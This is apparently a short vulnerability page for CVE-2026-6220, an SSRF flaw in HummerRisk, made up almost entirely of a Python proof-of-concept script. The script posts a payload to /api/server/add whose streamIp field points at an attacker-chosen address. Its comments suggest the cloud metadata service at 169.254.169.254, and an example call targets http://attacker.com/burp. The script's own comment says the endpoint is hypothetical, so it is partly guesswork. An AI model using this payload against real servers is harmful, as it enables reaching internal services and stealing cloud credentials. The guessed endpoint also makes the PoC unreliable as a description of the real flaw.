CVE-2026-6220 HummerRisk服务端请求伪造漏洞

import requests def check_ssrf(target_url, attacker_controlled_ip): """ PoC for CVE-2026-6220 Demonstrates SSRF via streamIp parameter in ServerService.addServer. Requires High Privileges (PR:H). """ headers = { "Content-Type": "application/json", # "Cookie": "session_id=..." # Authenticated session needed } # Malicious payload targeting internal metadata service or arbitrary IP payload = { "serverName": "ExploitTest", "streamIp": attacker_controlled_ip, # e.g., "127.0.0.1" or "http://169.254.169.254" "streamPort": 80 } try: # Endpoint is hypothetical based on component name "ServerService" response = requests.post(f"{target_url}/api/server/add", json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully. Server may have requested: {attacker_controlled_ip}") else: print(f"[-] Server returned status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") # Usage # check_ssrf("http://127.0.0.1:8080", "http://attacker.com/burp")